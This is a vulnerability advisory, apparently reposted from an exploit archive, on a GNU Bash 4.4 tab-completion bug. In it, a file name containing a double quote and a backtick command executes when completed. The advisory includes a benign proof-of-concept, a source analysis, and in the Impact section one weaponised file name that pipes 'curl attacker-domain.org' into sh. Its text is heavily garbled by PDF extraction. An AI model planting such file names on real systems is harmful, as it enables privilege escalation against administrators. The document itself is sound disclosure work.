GNU / Bash v4.4 autocompletion Code Execution Vulnerability

GNU Bash code execution vulnerability in path completion
Jens Heyens, Ben Stock
January 2017

1 Introduction
GNU Bash from version 4.4 contains two bugs in its path completion feature leading to a code
execution vulnerability. An exploit can be realized by creating a file or directory with a specially
crafted name. A user utilizing GNU Bash’s built-in path completion by hitting the Tab button (f.e.
to remove it with rm) triggers the exploit without executing a command itself. The vulnerability has
been introduced on the devel-branch in May 2015.


2 Description
The vulnerability occurs if a file with an opening double quote character(") followed by GNU Bash’s
built-in command substitution feature (Either ‘<command>‘ or $(<command>)) is created. The
double quote does not need to be closed. If a user tries to use the autocomplete feature, the
command is being executed (if it does not contain a slash(/ ) character):

[ h e y e n [email protected] b e ow ul f ] $ t o u c h ’ ” ‘ t o uc h He reBeD ragons ‘ ’
[ h e y e n [email protected] b e ow ul f ] $ l s −l t
i n s g e s am t 0
−rw−r−−r−− 1 h e y e n s h e y e n s 0 1 7. Jan 1 6: 0 3 ’ ” ‘ t o uc h He reBeD ragons ‘ ’
[ h e y e n [email protected] b e ow ul f ] $ rm ” ‘ t o uc h He reBeD ragons ‘ ˆC
[ h e y e n [email protected] b e ow ul f ] $ l s −l t
i n s g e s am t 0
−rw−r−−r−− 1 h e y e n s h e y e n s 0 1 7. Jan 1 6: 0 4 He reBeD ragons
−rw−r−−r−− 1 h e y e n s h e y e n s 0 1 7. Jan 1 6: 0 3 ’ ” ‘ t o uc h He reBeD ragons ‘ ’


3 Cause
This vulnerability has been introduced on the devel-branch in commit
74b8cbb41398b4453d8ba04d0cdd1b25f9dcb9e3 [1] and has first been inserted into the 4.4 stable
version. Code locations below refer to this commit hash.
There are two functions of GNU Bash’s C code leading to this vulnerability the authors considers
bugs. For the sake of the argument, let us assume the attacker managed to store a file called "‘foo‘
on disk.


3.1 Double dequoting of dirname
In the function bash filename stat hook, the code to check whether a file exists was previously
inlined. In the commit, a call to directory exists replaces this check (both bashline.c):

3121 e l s e i f ( t = mbsch r ( l o c a l d i r n a m e , ’ ‘ ’ ) ) /∗ XXX ∗/
3122 s h o u l d e x p a n d d i r n a m e = ’ ‘ ’ ;
3123
3124 i f ( s h o u l d e x p a n d d i r n a m e && d i r e c t o r y e x i s t s ( l o c a l d i r n a m e ) )
3125 s h o u l d e x p a n d d i r n a m e = 0 ;
3126
3127 i f ( s h o u l d e x p a n d d i r n a m e )
3128 {
3129 new di r name = s a v e s t r i n g ( l o c a l d i r n a m e ) ;
3130 wl = e x p a n d p r o m p t s t r i n g ( new di rname , 0 , W NOCOMSUB) ; /∗ d o e s
t h e r i g h t t h i n g ∗/

Following that call, we observe that the parameter dirname is dequoted. However, at this point
for a filename to be completed, quotes are already removed.

3092 /∗ F i r s t , d e q u o t e t h e d i r e c t o r y name ∗/
3093 new di r name = b a s h d e q u o t e f i l e n a m e ( di rname ,
r l c o m p l e t i o n q u o t e c h a r a c t e r ) ;
3094 d i r l e n = STRLEN ( new di r name ) ;
3095 i f ( new di r name [ d i r l e n − 1] == ’ / ’ )
3096 new di r name [ d i r l e n − 1] = ’ \0 ’ ;
3097 #i f d e f i n e d (HAVE LSTAT)
3098 r = l s t a t ( new di rname , &sb ) == 0 ;
3099 #e l s e
3100 r = s t a t ( new di rname , &sb ) == 0 ;
3101 #e n d i f
3102 f r e e ( new di r name ) ;
3103 r e t u r n ( r ) ;

In essence, this means that if the dirname contains a double quote, this will be removed inside
directory exists before (l)stat is called. Considering our original input, this means that
new dirname contains ‘foo‘. This results in the function to return 0, since no file with the stripped
name exists.

Going back to the previous function, we observe that in case should expand dirname is not
zero, expand prompt string is called with the directory name (line 3130). This happens in our
case: the file appears to not have been found and we included a ‘ in its path. However, the correct
parameter is passed to ensure that no command substitution is supposed to occur (W NOCOMSUB).
This function basically passes these parameters to expand word internal (subst.c:8601) and
as we’ll show in a minute, does not actually ‘[do] the right thing’.


3.2 Flags not being forwarded in expand word internal
Looking at the source code of expand word internal, we observe that it has different case statements
to handle, among others, quoted strings. We look at the following snippet, starting at
subst.c:9009:

9009 c a s e ’ ” ’ :
9010 i f ( ( q u o te d & (Q DOUBLE QUOTES|Q HERE DOCUMENT) ) && ( ( q u o te d &
Q ARITH ) == 0 ) )
9011 g o t o a d d c h a r a c t e r ;
9012
9013 t i n d e x = ++s i n d e x ;
9014 temp = s t r i n g e x t r a c t d o u b l e q u o t e d ( s t r i n g , &s i n d e x , 0 ) ;
9015
9016 /∗ I f t h e q u o t e s s u r r o u n d e d t h e e n t i r e s t r i n g , t h e n t h e
9017 w h ole word was q u o te d . ∗/
9018 q u o t e d s t a t e = ( t i n d e x == 1 && s t r i n g [ s i n d e x ] == ’ \0 ’ )
9019 ? WHOLLY QUOTED
9020 : PARTIALLY QUOTED ;
9021
9022 i f ( temp && ∗temp )
9023 {
9024 tw o rd = a l l o c w o r d d e s c ( ) ;
9025 two rd−>word = temp ;
9026
9027 temp = ( c h a r ∗)NULL ;
9028
9029 t e m p h a s d o l l a r a t = 0 ; /∗ XXX ∗/
9030 /∗ Need t o g e t W HASQUOTEDNULL f l a g t h r o u g h t h i s f u n c t i o n .
∗/
9031 l i s t = e x p a n d w o r d i n t e r n a l ( two rd , Q DOUBLE QUOTES, 0 , &
t e m p h a s d o l l a r a t , ( i n t ∗)NULL) ;

In line 9014, everything between opening (and optionally closing) quotes is extracted. In line
9024, a new WORD DESC struct is allocated and the corresponding word field is set accordingly.
However, the flags field is never set. In essence, even though W NOCOMSUB was set for the original
string, this flag is not carried on to the newly created string. In line 9031, expand word internal is
called recursively. In this case however, it will be passed ‘foo‘ without any restrictions on command
substitution, resulting in the attacker’s command being executed with the privileges of the user who
ran bash.


4 Impact
We consider the impact of this flaw very high. Assuming an attacker has unprivileged account on
a system, dropping a single file with the crafted name into a directory and asking an admin to
investigate will elevate his privileges. Even though the vulnerability does not allow for a slash to be
contained in the filename, exploitation is trivial:
some-very-long-string-nobody-is-going-to-type"‘curl attacker-domain.org| sh‘.


5 Potential fix
The issue is related to two separate bugs. Without deeper knowledge of the code base, we can
only guess that passing the flags when recursively calling expand word internal should suffice to
fix the issue. Nevertheless, the dequoting in directory exists in combination with a previously
dequoted string should be easily fixable as well.


References
[1] GNU project. GNU Bash at Savannah git (devel branch). Available
at http://git.savannah.gnu.org/cgit/bash.git/commit/?h=devel&id=74b8cbb41398b4453d8ba04d0cdd1b25f9dcb9e3. Accessed: 2017-01-17.

References:

http://git.savannah.gnu.org/cgit/bash.git/commit/?id=4f747edc625815f449048579f6e65869914dd715
https://github.com/jheyens/bash_completion_vuln/raw/master/2017-01-17.bash_completion_report.pdf

#  0day.today [2018-04-04]  #